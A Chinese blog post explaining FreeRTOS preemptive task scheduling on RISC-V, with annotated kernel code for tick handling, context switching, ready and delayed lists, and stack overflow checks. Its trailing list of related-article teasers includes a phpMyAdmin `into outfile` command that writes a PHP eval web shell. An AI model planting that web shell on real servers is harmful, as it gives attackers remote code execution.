freertos任务调度机制深度分析(以RISC-V架构为例)

news2025/1/24 17:32:21

1、前言

  • 本文是以RISC-V架构为例进行讲解,在汇编代码层面和ARM架构不一样,但是整体框架是一样的
  • 侧重任务调度底层机制讲解,讲解代码只保留了基本功能,可配置的功能基本都已经删除
  • 本文是以可抢占式调度机制进行讲解
  • RISC-V架构只支持M模式,并且中断只处理时间中断和ecall调用,其余异常没有相应的处理代码
  • 想要更好理解任务调度机制,最好先去了解freertos的链表,因为任务切换涉及链表操作

2、任务状态切换

在这里插入图片描述

  • 任务创建好后处于就绪态
  • 每次任务调度时,在就绪态任务中,选择最高优先级的任务执行
  • 任务因为等待某个事件、休眠而变成阻塞态
  • 休眠时间到、等待的时间发生,会从阻塞态变为就绪态
  • 任务执行vTaskSuspend()函数进入挂起态,必须由其他任务调用vTaskResume()唤醒进入就绪态

3、任务控制块TCB

typedef struct tskTaskControlBlock       
{
    //记录任务栈空间中的栈顶,切换任务时,从这里开始获取/保存任务运行现场。必须是任务控制块的第一个元素,这个任务切换有关
    volatile StackType_t * pxTopOfStack;  
    
    ListItem_t xStateListItem;    //用来把任务控制块挂接到不同状态的任务链表中,比如:就绪链表、挂起链表、 阻塞链表            
    ListItem_t xEventListItem;    //当任务因为等待某个时间事件而阻塞时,将任务控制块挂接到对于事件的阻塞链表,事件发生时,会唤醒对应链表          
    UBaseType_t uxPriority;	//优先级                    
    StackType_t * pxStack;	//任务的栈空间,这里记录的是栈空间的最低地址            
    char pcTaskName[ configMAX_TASK_NAME_LEN ];	//任务的名字 
   
} tskTCB;

4、任务的创建

4.1、任务创建函数的参数分析

在这里插入图片描述

  • pxTaskCode:任务函数的地址
  • pcName:任务的名字
  • usStackDepth:任务的栈大小,这里的单位是字而不是字节
  • pvParameters:任务函数的传参
  • uxPriority:任务的优先级
  • pxCreatedTask:返回的任务句柄,也就是构建的TCB结构体

4.2、任务创建函数分析

在这里插入图片描述

  • prvInitialiseNewTask函数:
    • 初始化栈空间,将栈空间内容初始化成特殊值
    • 保存任务名字到pcTaskName变量
    • 保存任务优先级到uxPriority变量
    • 初始化链表,包括状态链表和事件链表
    • 初始化任务上下文(pxPortInitialiseStack函数)
  • prvAddNewTaskToReadyList函数:
    • 如果是创建的第一个任务,要初始化任务调度相关链表
    • 判断当前创建的链表是不是比已经存在的链表优先级更高,如果更高,则把下次调度的任务改为本任务
    • 按优先级把TCB挂载到对应的就绪链表

4.3、任务创建参数保存在何处?

在这里插入图片描述

5、开启任务调度器

在这里插入图片描述

6、任务切换上下文

6.1、切换任务的时机

在这里插入图片描述

  • 发生任务切换有两种情况:
    • 任务的时间片耗尽
      • 每隔tick时间就会产生一次时钟中断,中断里要判断下一次切换哪个任务
      • 中断里需要设置MTIMECMP寄存器,周期性产生tick
    • 任务主动发起调度,让出CPU
      • 任务不需要继续执行时,可主动发起任务调度
      • 主动发起任务调度,在底层通过ecall指令实现

6.2、保存/恢复任务上下文

  • 参考博客:《freertos任务切换的现场保存、恢复(任务栈空间)深度分析(以RISC-V架构为例)》;
  • 参考博客:《freeRTOS异常处理函数分析(以RISC-V架构进行分析)》;

6.3、xTaskIncrementTick( )函数分析

BaseType_t xTaskIncrementTick( void )
{
    TCB_t * pxTCB;
    TickType_t xItemValue;
    BaseType_t xSwitchRequired = pdFALSE;

	//判断调度器是否被挂起,等于pdFALSE表示没有被挂起
    if( uxSchedulerSuspended == ( UBaseType_t ) pdFALSE )
    {
		//系统启动以来产生的tick数+1
        const TickType_t xConstTickCount = xTickCount + ( TickType_t ) 1;

         //更改系统的tick数,如果溢出则等于0
        xTickCount = xConstTickCount;

		//xTickCount溢出
        if( xConstTickCount == ( TickType_t ) 0U ) /*lint !e774 'if' does not always evaluate to false as it is looking for an overflow. */
        {
        	//把两个延时链表翻转
            taskSWITCH_DELAYED_LISTS();
        }

         //如果现在的tick数大于任务解除阻塞的时间,则进入循环
         //xNextTaskUnblockTime记录的是当前被阻塞的任务里,时间最短的阻塞时间
        if( xConstTickCount >= xNextTaskUnblockTime )
        {
            for( ; ; )
            {
                if( listLIST_IS_EMPTY( pxDelayedTaskList ) != pdFALSE )
                {
                    xNextTaskUnblockTime = portMAX_DELAY; /*lint !e961 MISRA exception as the casts are only redundant for some ports. */
                    break;
                }
                else
                {
					//获取延迟任务列表头部的任务控制块
					pxTCB = listGET_OWNER_OF_HEAD_ENTRY( pxDelayedTaskList ); /*lint !e9079 void * is used as this macro is used with timers and co-routines too.  Alignment is known to be fine as the type of the pointer stored and retrieved is the same. */
					//获取延迟时间
					xItemValue = listGET_LIST_ITEM_VALUE( &( pxTCB->xStateListItem ) );

					//说明还没有到任务解除阻塞的时间
                    if( xConstTickCount < xItemValue )
                    {
                    	//更新最近要被解除阻塞的时间
                        xNextTaskUnblockTime = xItemValue;
                        break; 
                    }

					//从阻塞链表中移除
                    listREMOVE_ITEM( &( pxTCB->xStateListItem ) );

					//从事件阻塞链表中移除
                    if( listLIST_ITEM_CONTAINER( &( pxTCB->xEventListItem ) ) != NULL )
                    {
                        listREMOVE_ITEM( &( pxTCB->xEventListItem ) );
                    }

                    //添加到就绪队列
                    prvAddTaskToReadyList( pxTCB );

                    //如果是抢占式调度,则判断解除阻塞的任务优先级是否高于当前正在执行的任务
                    //如果比当前执行的任务优先级高,则需要切换任务
                    #if ( configUSE_PREEMPTION == 1 )
                    {
                        if( pxTCB->uxPriority > pxCurrentTCB->uxPriority )
                        {
                            xSwitchRequired = pdTRUE;
                        }
                    }
                    #endif /* configUSE_PREEMPTION */
                }
            }
        }

		//如果是抢占式调度,并且是时间片轮转,当前正在执行的任务的优先级就绪链表中成员个数大于1,
		//需要调度,因为同优先级的任务要轮流执行
        #if ( ( configUSE_PREEMPTION == 1 ) && ( configUSE_TIME_SLICING == 1 ) )
        {
            if( listCURRENT_LIST_LENGTH( &( pxReadyTasksLists[ pxCurrentTCB->uxPriority ] ) ) > ( UBaseType_t ) 1 )
            {
                xSwitchRequired = pdTRUE;
            }
        }
        #endif /* ( ( configUSE_PREEMPTION == 1 ) && ( configUSE_TIME_SLICING == 1 ) ) */

		//如果是抢占式调度,并且调度功能没有被挂起,则要切换任务
        #if ( configUSE_PREEMPTION == 1 )
        {
            if( xYieldPending != pdFALSE )
            {
                xSwitchRequired = pdTRUE;
            }
        }
        #endif /* configUSE_PREEMPTION */
    }
    else
    {
        ++xPendedTicks;

    }

    return xSwitchRequired;
}

6.4、vTaskSwitchContext( )函数分析

void vTaskSwitchContext( void )
{
	//不为零,则调度器被挂起
    if( uxSchedulerSuspended != ( UBaseType_t ) pdFALSE )
    {
		//调度器被挂起,不允许任务切换
        xYieldPending = pdTRUE;
    }
    else
    {
        xYieldPending = pdFALSE;

       	//检查任务的栈是否溢出
       	taskCHECK_FOR_STACK_OVERFLOW(); 

		//从就绪链表中选择出最高优先级的任务
		taskSELECT_HIGHEST_PRIORITY_TASK(); 
    }
}

7、任务优先级的实现

7.1、重要的链表介绍

//就绪链表,configMAX_PRIORITIES是定义的当前支持最大的优先级,数字越大优先级越高
//就绪链表有多个,每个优先级有一个就绪链表
PRIVILEGED_DATA static List_t pxReadyTasksLists[ configMAX_PRIORITIES ]; 

//两个都是挂起休眠任务的,之所以有两个是为了解决tickCount超过表示范围产生翻转
PRIVILEGED_DATA static List_t xDelayedTaskList1;                         
PRIVILEGED_DATA static List_t xDelayedTaskList2;
                     
//这是两个链表指针,用于指向上面的两个休眠链表
PRIVILEGED_DATA static List_t * volatile pxDelayedTaskList;             
PRIVILEGED_DATA static List_t * volatile pxOverflowDelayedTaskList;     

//任务调度器挂起期间解除阻塞条件得到满足的阻塞任务,在任务调度器恢复工作后,
//这些任务会被移动到就绪链表组中,变为就绪状态。
PRIVILEGED_DATA static List_t xPendingReadyList;  

//这个保存被删除的任务,等待空闲链表去回收资源
static List_t xTasksWaitingTermination; 

//这是任务调度器开启时被挂起的任务
static List_t xSuspendedTaskList; /*< Tasks that are currently suspended. */
  • xDelayedTaskList1和xDelayedTaskList2:
    • 两个链表都是用来保存被阻塞的任务,定义两个链表是解决xTickCount溢出问题
    • xTickCount是记录开启任务调度后,发生tick的次数,在32位系统里是int类型,过一段时间xTickCount就可能溢出。溢出是指:当xTickCount=0xFFFFFFFF时,再加一,xTickCount的值就会变成0
    • 疑问:为什么不直接在32位CPU中用long long类型变量来定义xTickCount,这样就不用考虑溢出问题?
  • 任务控制块(TCB:Task COntrol Bloc)中xStateListItem和xEventListItem变量就是用来挂接到上面的各个链表中
  • 想理解TCB是如何挂接到上述的链表,需要理解freertos的链表实现,阅读源码list.c

7.2、根据任务优先级进行调度

  • 在创建任务时需要指定优先级,在构建好TCB后挂接到对应优先级的就绪链表中
  • 如果任务发生阻塞、挂起,被挂接到阻塞链表、挂起链表,当重新变为就绪态时,还是挂接到对应优先级的就绪链表
  • 发生任务调度时,先扫描高优先级的就绪链表,只有高优先级的就绪链表是空才会扫描低优先级的就绪链表
  • 选择扫描到的当前最高优先级的就绪态任务进行调度,并且在调度后把该任务插入到本优先级就绪链表的尾部
  • 总结:
    • 选择就绪态中最高优先级的任务进行调度
    • 同优先级的就绪态任务轮流执行

7.3、从就绪链表中选择出最高优先级的就绪任务

在这里插入图片描述

  • uxTopReadyPriority变量:
    • uxTopReadyPriority是采用位图的形式来保存优先级,每个bit位表示一个优先级
    • 比如:当前有优先级是5的任务进入就绪态,则会把uxTopReadyPriority的bit5置一,即uxTopReadyPriority |= (1 << 5);

8、tick的产生

在这里插入图片描述

  • 使用RISC-V架构自带的定时器,每1ms产生一次定时器中断
  • 周期性设置MTIMECMP、MTIME寄存器

9、栈空间溢出检测

在这里插入图片描述

  • 在构建TCB时,根据创建参数申请栈空间大小

  • 在任务切换时,检查栈空间是否溢出

    • 在申请栈时,将栈空间整个初始化成特殊值
    • 在切换任务时,检查栈空间最低4个字节是不是特殊值(RISC-V使用满减栈)
    • 如果不是特殊值,说明栈空间最后四个字节被使用过,此时判断栈溢出
  • 如果栈溢出,则扩大栈空间,再次测试是否溢出,选择合适的栈空间

10、 任务的删除过程分析

  • 调用vTaskDelet( )函数删除任务:
    • 把被删除TCB从挂接的链表中删除
    • 判断是否需要更新当前就绪最高优先级,即uxTopReadyPriority变量
    • 如果删除的是正在运行的任务:
      • 把TCB插入到xTasksWaitingTermination链表
    • 如果删除的不是正在运行的任务:
      • 判断是否需要更新最近被唤醒任务的时间,即xNextTaskUnblockTime变量
      • 释放任务栈空间、TCB空间
  • 空闲任务(prvIdleTask)
    • 把被删除的任务TCB从xTasksWaitingTermination链表读取出来
    • 释放任务栈空间、TCB空间

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1268166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

WSDM 2024 | LLMs辅助基于内容的推荐系统增强BPR训练数据

本文提出了一种简单而有效的基于LLMs的图数据增强策略&#xff0c;称为LLMRec&#xff0c;以增强基于内容的推荐系统。LLMRec包含三种数据增强策略和两种去噪策略。数据增强策略包括从文本自然语言的角度挖掘潜在的协同信号, 构建用户画像(LLM-based), 并强化item side informa…

JavaScript 特殊数据类型

JavaScript 特殊数据类型 目录 JavaScript 特殊数据类型 一、空值&#xff08;null型&#xff09; 二、未定义值&#xff08;undefined型&#xff09; 三、转义字符 JavaScript的特殊数据类型有3种&#xff1a; &#xff08;1&#xff09;空值&#xff08;null型&#xf…

【hacker送书第6期】深入理解Java核心技术

第6期图书推荐 内容简介作者简介精彩书评参与方式 内容简介 《深入理解Java核心技术&#xff1a;写给Java工程师的干货笔记&#xff08;基础篇&#xff09;》是《Java工程师成神之路》系列的第一本&#xff0c;主要聚焦于Java开发者必备的Java核心基础知识。全书共23章&#xf…

Go语言基础:包、函数、语句和注释解析

一个 Go 文件包含以下几个部分&#xff1a; 包声明导入包函数语句和表达式 看下面的代码&#xff0c;更好地理解它&#xff1a; 例子 package mainimport "fmt"func main() { fmt.Println("Hello World!") }例子解释 第 1 行&#xff1a; 在 Go 中&am…

nodejs 沙盒逃逸

1.[GFCTF 2021]ez_calc 一道很有意思的一道nodejs的题 沙箱逃逸和绕过&#xff1a; F12 看源码 if(req.body.username.toLowerCase() ! admin && req.body.username.toUpperCase() ADMIN && req.body.passwd admin123){ // 登录成功&am…

sqli-labs靶场详解(less32-less37)

宽字节注入 原理在下方 目录 less-32 less-33 less-34 less-35 less-36 less-37 less-32 正常页面 ?id1 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\ ?id1 看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字…

顺丰JAVA开发一面—面试实战经验分析【已通过】

文章目录 面试总结面试开始项目相关基础知识反问环节 顺丰JAVA开发一面面试过程中的问题确实涵盖了很多方面&#xff0c;从项目架构到基础知识再到具体技术细节都有所涉及。 面试官的提问风格也是比较开放的&#xff0c;注重考察面试者的深度理解和解决问题的能力。以下是对每个…

彩虹云商城搭建教程+源码程序

前言&#xff1a;域名服务器或宝塔主机商场程序在线云商城 随着电子商务的快速发展&#xff0c;越来越多的企业开始意识到开设一个自己的电子商城对于销售和品牌推广的重要性。然而&#xff0c;选择一家合适的网站搭建平台和正确地构建一个商城网站并不是一件容易的事情。本文…

基于Qt MP3音频播放器示例(可制作音频播放器)

​本次MP3文件也给出来,方便大家调试。话不多说直接上源码。 整个项目下载地址:CSDN:GetCode 昵称-》Qt魔术师:https://gitcode.com/m0_45463480/QtMP3/tree/main## .pro # 指定项目类型为应用程序。TEMPLATE = app# 指定项目的名称为musicplayerTARGET = musicplayer# 添…

八、hdfs文件系统副本块数量的配置

1、配置方式 2、实际操作演示 &#xff08;1&#xff09;在Hadoop用户的根目录下创建text.txt文件 &#xff08;2&#xff09;上传文件 hadoopnode1:~$ hdfs dfs -ls hdfs://node1:8020/ Found 4 items drwxr-xr-x - hadoop supergroup 0 2023-11-21 23:06 hdfs:/…

手势识别4:C/C++实现手部检测和手势识别(含源码下载)

手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 目录 手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 1. 前言 2. 手势识别模型&#xff08;YOLOv5&#xff09; &#xff08;1&#xff09;手势识别模型训练 &#xff08;2&#xff09;将Pyto…

Java 最全面试总结——3.多线程篇

1、说说Java中实现多线程有几种方法 创建线程的常用三种方式&#xff1a; 继承Thread类实现Runnable接口实现Callable接口&#xff08; JDK1.5> &#xff09;线程池方式创建 通过继承Thread类或者实现Runnable接口、Callable接口都可以实现多线程&#xff0c;不过实现Run…

基于合成数据的行人检测AI模型训练

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 近年来&#xff0c;自动驾驶汽车因其对社会的广泛影响而越来越受欢迎&#xff0c;因为它们提高…

乱序学机器学习——主成分分析法PCA

文章目录 概览PCA核心思想和原理PCA求解算法PCA算法代码实现降维任务代码实现PCA在数据降噪中的应用PCA在人脸识别中的应用主成分分析优缺点和适用条件优点缺点适用条件 概览 PCA核心思想和原理 PCA求解算法 特征向量表示分布的方向&#xff0c;特征值表示沿着个方向分布的程度…

自动锁螺丝机配件直线模组的作用

直线模组的应用非常广泛&#xff0c;在各种需要高精度、高效率的自动化直线运动的场合都有应用&#xff0c;尤其是在自动锁螺丝机中&#xff0c;起着关键性作用。 1、提供精确的定位和导向&#xff1a;在自动锁螺丝机中&#xff0c;螺丝的拧紧和输送都需要精确控制&#xff0c;…

SpringCloudSleuth+Zipkin 整合及关键包汇总

背景 整合了一下 SpringCloudSleuth Zipkin&#xff0c;本来是很简单的东西&#xff0c;但是最终导出依赖包时没注意&#xff0c;导致目标服务上始终没有纳入 Zipkin 的链路追踪中&#xff0c;本文记录这个过程及关键依赖包。 部署zipkin 官网下载最新的 zipkin 可执行包&a…

Java高级技术(反射的作用与应用场景)

一&#xff0c;放射 二&#xff0c;案例 &#xff08;1&#xff09;&#xff0c;题目 &#xff08;2&#xff09;&#xff0c;反射类 &#xff08;3&#xff09;&#xff0c;测试类

JavaScript编程进阶 – Return语句

JavaScript编程进阶 – Return语句 JavaScript Programming Advanced – Return Statement By JacksonML 就像人们习惯的函数一样&#xff0c;总觉得在函数体最后需要一个return语句&#xff0c;标志着函数的结束,就像下面这个函数 theFunc() 那样。 function theFunc() { re…

2023年11月编程语言排行榜——你的编程语言上榜了吗?

编程语言的流行度是一个热门的话题&#xff0c;不同的机构和平台有不同的评判标准和排名方法。本文将以 TIOBE 编程社区指数为例&#xff0c;介绍 2023 年 11 月的编程语言趋势榜单&#xff0c;分析各种编程语言的表现和原因&#xff0c;以及对未来的展望。 TIOBE 编程社区指数…